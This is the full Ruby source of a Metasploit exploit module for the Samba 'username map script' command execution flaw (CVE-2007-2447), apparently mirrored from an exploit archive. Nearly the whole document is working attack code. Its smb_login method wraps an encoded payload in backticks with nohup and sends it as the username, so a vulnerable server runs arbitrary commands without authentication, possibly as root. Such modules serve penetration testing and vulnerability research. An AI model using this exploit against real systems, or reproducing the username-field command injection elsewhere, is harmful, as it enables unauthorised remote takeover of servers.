Samba "username map script" Command Execution

                							

                ##
# $Id: usermap_script.rb 8510 2010-02-16 00:26:41Z jduck $
##

##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# Framework web site for more information on licensing and terms of use.
# http://metasploit.com/framework/
##


require 'msf/core'


class Metasploit3 < Msf::Exploit::Remote
  Rank = ExcellentRanking

  include Msf::Exploit::Remote::SMB

  def initialize(info = {})
    super(update_info(info,
      'Name'           => 'Samba "username map script" Command Execution',
      'Description'    => %q{
          This module exploits a command execution vulerability in Samba
        versions 3.0.0 through 3.0.25rc3 when using the non-default
        "username map script" configuration option. By specifying a username
        containing shell meta characters, attackers can execute arbitrary
        commands.

        No authentication is needed to exploit this vulnerability since
        this option is used to map usernames prior to authentication!
      },
      'Author'         => [ 'jduck' ],
      'License'        => MSF_LICENSE,
      'Version'        => '$Revision: 8510 $',
      'References'     =>
        [
          [ 'CVE', '2007-2447' ],
          [ 'OSVDB', '34700' ],
          [ 'BID', '23972' ],
          [ 'URL', 'http://labs.idefense.com/intelligence/vulnerabilities/display.php?id=534' ],
          [ 'URL', 'http://samba.org/samba/security/CVE-2007-2447.html' ]
        ],
         'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'Privileged'     => true, # root or nobody user
      'Payload'        =>
        {
          'Space'    => 1024,
          'DisableNops' => true,
               'Compat'      =>
            {
              'PayloadType' => 'cmd',
              # *_perl and *_ruby work if they are installed
              # mileage may vary from system to system..
            }
        },
      'Targets'        =>
        [
          [ "Automatic", { } ]
        ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'May 14 2007'))

    register_options(
      [
        Opt::RPORT(139)
      ], self.class)

  end

  def smb_login
    # lol?
    username = "`nohup " + payload.encoded + "`"
    begin
      simple.login(datastore['SMBName'], username, datastore['SMBPass'], datastore['SMBDomain'])
    rescue XCEPT::LoginError
      # nothing :)
    end
  end
  
  def exploit

    connect
    smb_login

    handler

  end

end
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